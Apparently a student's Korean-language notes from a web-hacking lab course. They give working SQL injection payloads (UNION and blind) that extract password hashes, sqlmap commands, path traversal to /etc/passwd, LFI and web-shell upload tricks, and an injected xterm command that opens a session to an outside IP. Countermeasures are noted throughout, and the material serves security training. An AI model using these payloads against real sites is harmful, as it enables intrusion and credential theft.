320x100

Cross Site Script Process

 


SQL INJECTION - server side attack

공격자가 입력한 데이터에 대한 유효성을 점검하지 않아 DB 쿼리문이 변경 되어 부적절한 SQL 명령을 수행할 수 있는 공격이다

-> 데이터베이스의 내용을 웹상으로 쭉 유출시키는 공격기법

-> 커멘드명령, DB 내용, 서버 컨트롤 장악 하는 공격

 

** XSS 는 클라이언트쪽 사용자 권한을 획득하는 사용자의 패스워드, 정보를 바꾸는 형태이다.

 

SQL INJECTION 종류

  • Union (옛날 공격기법) - 실습예정
  • Error Based (옛날 공격기법)
  • Blind SQL (최근 가장 많이 발생하는 취약점) - 실습예정
  • Stored Procedure based

SQL 인젝션 취약점이 존재할 경우, 공격자는 xp_cmdshell과 같은 확장 프로시저를 통해 서버의 운영 체제에 대한 불법적인 접근을 시도할 수 있다.

 

공격 유형 : DB 정보 열람, DB 정보 변경/삭제, 커맨드 명령 실행, 파일 생성 및 실행

 

SQL대표적인 커맨드 : select, update, delete, insert

 

  • Union

'or''=’  (조건을 항상 참으로 만든다.)

아이디 / 비밀번호에 동일하게 입력한다.

실행결과

Check for vulnerability



Check for UNION function (no값이 유효하지 않아야 원하는 값 출력)

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,4,5,6,7%23

프로그램에서 1 5 7은 출력은 하라는 소스가 스크립트에 없기 떄문에 출력이 되지 않는다.

 

 

 


Check for MySQL version

http://freehack.bug/?main=/board/board_view.php3&no=0' union select 1,2,3,@@version,5,6,7%23

 


공격 프로세스

information schema에서 table name 뽑아옴 → 실제 member table의 아이디, 패스워드를 뽑음

 

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 0,1%23 <--- no

http://freehack.bug/?main=/board/board_view.php3&no=0' union all select 1,2,3, column_name,5,6,7 from information_schema.columns where table_name='member' limit 1,1%23 <--- id

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='member' limit 2,1%23 <--- pass

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 0,1%23 <-- admin,

*A4B6157319038724E3560894F7F932C8886EBFCF

http://freehack.bug/?main=/board/board_view.php3&no=0' UNION SELECT 1,2,id,pass,5,6,7 from member limit 1,1%23<-- guest,

  • A4B6157319038724E3560894F7F932C8886EBFCF


  • Blind SQL

데이터베이스 결과가 외부에 출력되지 않고(ex> 로그인 서비스), 서버 내부적으로만 처리되는 구조에서 SQL Injection 기법을 통해 데이터베이스에 존재하는 값을 알아내는 공격 방식이다.

 

일반적으로 참/거짓을 이용하여 데이터를 얻어온다.

ex> 로그인 성공 -> 참, 로그인 실패 -> 거짓

 

  • Union INJECTION → 덩어리채 뽑음

 

  • Blind INJECTION → 글자 하나씩 대조

예를 들어 s라는글자를 뽑아오고 → i 뽑고 .. → g 뽑고

(a부터 쭉 집어넣고 한글자씩 대조를 해서 요청을 한다.

 

** Union select보다 훨씬 서버쪽으로 요청하는 쿼리의 양이 많아질수 밖에 없다.

 

 

 

 

노가다로 한단어씩 추출한다. 단어가 맞을 경우 통과되고 아닐경우 에러메시지가 올라온다.

아래와 같이 ID에 SQL query / PASSWORD 1234 또는 아무거나 입력하고 로그인을 시도

 

// Database 이름 크기 추출
id : kioo' and length(DATABASE()) < 12##  (T)
id : kioo' and length(DATABASE()) = 10##  (F)
id : kioo' and length(DATABASE()) = 8##  (freehack, T)
id : kioo' and length(DATABASE()) < 7##  (F)


// Database 이름 추출
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) < 102##  (F)
id : kioo' and ASCII(SUBSTRING((DATABASE()),1,1)) = 102##    -> f
id : kioo' and ASCII(SUBSTRING((DATABASE()),2,1)) = 114##    ->r
id : kioo' and ASCII(SUBSTRING((DATABASE()),3,1)) = 101##    -> e

// Table 이름 추출
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),1,1)) = 98##  -> b
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),2,1)) = 111## -> o
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 0,1),3,1)) = 97## -> a

kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),1,1)) = 109##  -> m
kioo' and ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA='freehack' limit 1,1),2,1)) = 101## -> e

 


// 컬럼명 추출
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##
test' or ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) < 130##


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),1,1)) = 110## ->n
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 0,1),2,1)) = 111## ->o


kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),1,1)) = 105## ->i
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 1,1),2,1)) = 100## -> d

kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),1,1)) = 112## ->p
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),2,1)) = 97## -> a
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),3,1)) = 115## -> s
kioo' and ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE TABLE_NAME='member' limit 2,1),4,1)) = 115## ->s

// 패스워드 추출(1) *4ACFE3202A5FF5CF467898FC58AAB1D615029441

kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) < 130##
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),1,1)) = 42## ->*
kioo' and ASCII(SUBSTRING((select pass from member limit 0,1),2,1)) = 52## -> 4

// 패스워드 추출(2)
id : kioo' and (ASCII(substring(pass,1,1))=42) ##            ->----------- 42 는 * 임
pw : 아무거나  
* C8D060EB2D0AEFC164BE22E2F8A52C0E99AF19A9

id : kioo' and (ASCII(substring(pass,2,1))=67) ##            ->---------- 67 는 C 임
pw : 아무거나

id : admin' and (ASCII(substring(pass,1,1))=42)## ->----------- 42 는 * 임
pw : 아무거나
*A4B6157319038724E3560894F7F932C8886EBFCF


폰트 스캐너 (사용 주의)

"폰트 스캐너"라는 용어는 일반적으로 웹사이트나 애플리케이션에서 사용되는 폰트를 분석하고 식별하는 도구나 기술을 의미할 수 있습니다. 폰트 스캐너는 웹페이지에서 사용된 폰트의 종류와 스타일을 추출하여 이를 보여주는 기능을 가집니다.

 

nmap -v -A freehack.bug

 


SQL MAP

https://sqlmap.org/ 접속후 오른쪽에 다운로드 zip파일 다운

https://github.com/sqlmapproject/sqlmap/zipball/master

sqlmap.py --shell

u "http://freehack.bug/?main=/board/board_view.php3&no=232" --dbs

u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack --tables -u "http://freehack.bug/?main=/board/board_view.php3&no=232" -D freehack -T member --columns

u "http://freehack.bug/?main=/board/board_view.php3&no=232"


XPATH INJECTION

조작된 XPath(XML Path Language) 쿼리를 보냄으로써 비정상적인 데이터를 쿼리해 올 수 있는 취약점으로, XML 문서에 데이터를 저장하는 웹사이트는 사용자가 입력한 내용의 데이터를 찾기 위해 XPath를 사용 하고, 이런 입력이 필터링이나 보안을 고려하지 않은 채 XPath 쿼리 안에 입력된다면 웹사이트의 로직을 손상시키거나 특정 데이터를 추출할 수 있게 된다.

 

-> XPath 인젝션은 사용자가 입력한 데이터가 제대로 검증되지 않을 때 발생하는 취약점으로, 이로 인해 공격자는 웹사이트의 데이터를 유출하거나 조작할 수 있게 됩니다.

 

http://freehack.bug/XML/

대응 방안

-> 입력 값 검증 필요

-> XPATH parameterized 사용

 


Command INJECTION

-> 프로그램이 외부에서 입력 받은 시스템 명령어를 검증하지 않고 실행하는 경우 의도하지 않은 시스템 명령어가 실행될 수 있는 취약점이다.

  • 공격 유형 -> 부적절한 권한 변경 ->시스템 권한 획득 -> 시스템 동작/운영에 악영향

개발자가 리눅스나 관련 명령어 프로그램을 짜는데 웹상에서 커멘드를 쉽게 찾을 수 있게 해논 것

 

리버스 텔넷 / SS터널링 / DNS 터널링

  • 리버스텔넷

리버스 텔넷(Reverse Telnet)은 일반적으로 원격 장치와의 통신을 위해 사용하는 텔넷(Telnet) 프로토콜의 변형입니다. 이 기술은 특정 장치에 대한 원격 접근을 가능하게 하며, 주로 네트워크 장비나 IoT(사물인터넷) 디바이스에서 사용됩니다.

아래 사진에 넣기

ls ; xterm -display 192.168.1.40:1.0 &

  • 정상적으로 텔넷 거는게 아니라 서버쪽에서 클라이언트 피씨 쪽으로 텔넷을 건다

 가급적 시스템 명령어 사용 금지  외부에서 전달되는 데이터와 조합 금지  필터링을 통한 다중 명령 실행 금지

 


파라미터 조작

  • 웹 어플리케이션 상에 존재하는 모든 실행경로에 대해서 접근제어를 검사하지 않거나 미흡한 경우 공격자가 접근 가능한 실행경로를 통해 사용자의 정보를 유출 하거나 일시적인 권한 상승이 가능한 취약점.
  • URL/파라미터 변조의 경우 불충분한 인증 및 인가 취약점과 유사하지만 프로세스 검증을 우회하는 것 이외에 사용자 입력 값에 대한 검증 누락이 발생하는 모든 상황을 포함하고 있으므로 SQL 인젝션, 불충분한 인증 및 인가, 크로스 사이트 스크립트 (XSS) 공격에 활용될 수 있음

네이버 카페 같은 곳에서 운영자가 이 Query를 통해 게시글을 최상단(공지)으로 고정 시킬 지 정한다 → 취약점 발생 -> web proxy tool을 통한 쿼리를 조작해서 내 마음대로 최상단에 내 게시글을 고정할 수 있음

 

http://freehack.bug/member/member_modify2.html?id=test

http://freehack.bug/member/member_modify2.html?id=admin

 

인증권한 체크 부실로 발생함

관리자권한으로 바꿀 수 있음

웹 어플리케이션에서 제공하는 정보와 기능을 역할에 따라 배분함으로써 사용자가 변경할 수 있는 데이터의 노출을 최소화하는 것이 필요하며, 서버로 전송된 사용자 입력 값의 경우 세션 및 데이터베이스와 비교를 하여 데이터가 변조되었는지 검증할 수 있는 과정을 구현해야 함

세션을 가지고 인증체크를 하라는 말


IT정보보호 구축 가이드 - sk 쉴더스 발행 3.0 나옴


FILE UPLOAD

파일이 첨부되서 올라오는지를 잘 확인해야함 - 공격자는 웹 쉘을 업로드해서 모든 정보를 열람 가능하게 만들 수 있다.

  • 취약점 설명 

-> 파일 업로드 취약점이랑 서버에 파일이 업로드 되는 기능을 이용하여, 업로드 된 파일을 웹 서버에 요청할 때, 웹 서버가 Server Side Script로 해석하여 생기는 취약점

-> 웹 사이트의 파일 업로드 기능을 이용하여 인가 받지 않은 파일을 서버 에 업로드 하는 공격 

 

  • 공격 유형

1. WebShell 업로드 

2. DOS(Disk Full)

3. 시스템 권한 획득

 

 

이 표는 APM 스택을 포함한 웹 서버, 데이터베이스, 서버 사이드 스크립트 및 파일 확장자를 간단히 정리한 것입니다. 각 웹 서버와 그에 대응하는 데이터베이스 및 스크립트 언어의 조합을 보여줍니다.

 

 

  • 악성파일 업로드

공격 시나리오 : 웹쉘 형태의 파일을 업로드 후 실행하면 서버의 자원을 장악할 수 있음

파일 업로드 공격은 1.파일이 업로드 되어야 하고 2.업로드 경로를 알 수 있어야 하고, 3.실행 권한이 있어 실행시킬 수 있어야 함


 

웹사이트 게시글 작성 할때 php 파일을 업로드 하지 못하게 막아놨다. -> 코드를 통해 확장자 파일이 . 으로 구분이 된다는 것을 알았다

그래서 앞에 .jpg 를 사용함으로써 코드의 헛점을 노려 우회할 수 있다.

 

 

 

아래의 사진은 유명한 C99Shell(웹쉘)화면

 

 


FILE DOWNLOAD

파일 다운로드 취약점이란 서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여, 정해진 파일이 아닌 다른(시스템 파 일, 소스 코드 등)파일을 다운로드 받을 수 있는 취약점이다.

다른파일은 시스템파일(etc의 패스워드 파일, hosts 파일 같이 없어서는 안되는 파일들) 이나 소스 코드가 될 수 있다.

개발자가 의도하지않게 다른 파일을 의도하는 것

 

**커멘드 인젝션- 개발자가 의도하지않게 다른 파일도 같이 수행하는 것

 

기존 URL

http://freehack.bug/board/board_down.php3?file_name=c99.php

 

공격 실행

URL에 아래와 같이 작성하면 루프가 돌면서 etc/passwd 파일을 받을 수 있음

http://freehack.bug/board/board_down.php3?file_name=/../../../../../../etc/passwd 


 

./ 를 강제로 지우는 아래와 같은 코드가 있으면 

-> ..// 이런식으로 두번 적으면 ./ 가 지워져도 ./ 한묶음이 남기 때문에 우회할 수 있다.

 

공격 유형

  • 소스 코드 유출 - 어느정도 경로를 알아야지 할 수 있음
  • 중요 파일 유출
  • 데이터베이스 정보 유출 - 디비 연결정보 파일
  • DownLoad 취약점
  • 저장된 경로 찾기(이미지/에러베이스 등)
  • 필터링 우회 • 대응 방앆
  • 필터링을 통한 차단
  • 직접 링크보다는 간접링크 사용 • 갂접 링크를 통한 필터링 및 접근 제어(악성코드/FlashGet 등)

 

개발자가 의도하지 않는 행위를 할 수 있는 것


INCLUSION ATTACK

페이지를 렌더링 할 때 웹 페이지에 동적으로 포함되는 INCLUDE 파일 을 사용하면 한 콘텐츠를 사이트의 여러 페이지에 쉽게 포함시킬 수 있는 기능을 악용하여 사용할 수 있는 취약점이다.

 

->INCLUDE 파일은 웹 페이지에서 공통 콘텐츠를 쉽게 재사용할 수 있도록 도와주지만, 잘못 사용하면 보안 취약점이 생길 수 있습니다. 공격자가 악의적인 코드를 포함한 파일을 서버에 업로드하고 이를 INCLUDE하면, 사용자에게 악성코드가 실행될 수 있습니다. 따라서 INCLUDE 파일 사용 시 보안에 주의해야 합니다.

 

Include/require/require_ once/include_ once

  • RFI - Remote File inclusion

외부에 존재하는 컨텐츠를 동적 로드 가능

allow_url_fopen 허용 시 동작

http/ftp 등 다양한 프로토콜 지원

외부 서비스(블로그, 카페, 자료실 등)를 통한 공격 가능

원격에 있는 파일을 사용해서 명령을 수행

  • LFI - Local File inclusion → 로컬에 있는 파일을 인크루드 시켜서 발생하는 취약점

내부에 존재하는 컨텐츠를 동적으로 로드 가능.

  • Log 파일, 홖경 변수, 자료실 등 이용.

http://freehack.bug/?main=/data/cmd.txt&cmd=id

 

인클루드 함수를 잘못써서 외부나 내부에 있는 함수를 잘못 인클루드해서 프로그램이 실행되는 것


기타 웹공격 기법

관리자페이지 노출

  • 아래와 같이 추측하기 쉬운 관리자 페이지는 가급적 피하도록 한다. 이런식으로 관리자 페이지 접속하고 → SQL INJECTION

http://admin.victim.comhttp//www.victim.com/admin

http://www.victim.com/manager/http://www.victim.com/master/http://www.victim.com/system

 

사용자 인증 부재 취약점

http://freehack.bug/admin/member/**member_list..php3**

유추할 수 있는 이름으로 지정하면 찍어서 맞출 수 있다.


이용자 인증정보 재사용

▪ 개요 : 세션 값을 훔쳐 타 사용자 이용 환경에서 사용 시 훔친 세션 값의 인증 및 권한을 그대로 가지고 있는 취약점/공격

▪ 예상 가능 공격 : 타 사용자 권한 탈취 후 서비스에 따른 공격 예) 금융 앱에서 피해자의 계좌에서 공격자의 계좌로 송금

▪ 취약점 확인 방법 : 세션값을 복사 후 타 PC 에서 사용해보고 복수의 위치에 서 세션값이 사용 가능한지 확인

▪ 보안 방법 ➢ 처음 세션 발급 시 IP정보를 세션 변수에 담아 두었다가 이 후 동일한 세션값을 가지는 클라이언트가 접속 시에 비교함 ➢ 금융기관에서는 내부망 IP 정보도 세션을 나누어 분배하므로 클라이언트/서버 프로그램을 설치하여 MAC주소 비교하여 세션 재 사용 취약점에 대응함 ➢ 중복 로그인을 차단

  • 유추가능한 인증정보 이용(세션), 불충분한 세션종료 처리 말로 설명 • 고정된 인증정보 재사용


TEST 준비

 

1번 GET POST 메소드

 

2번 응답값 200ok 

 

3번 File download 취약점 

 

4번 CSRF  SSRF

 

5 ???

300x250

+ Recent posts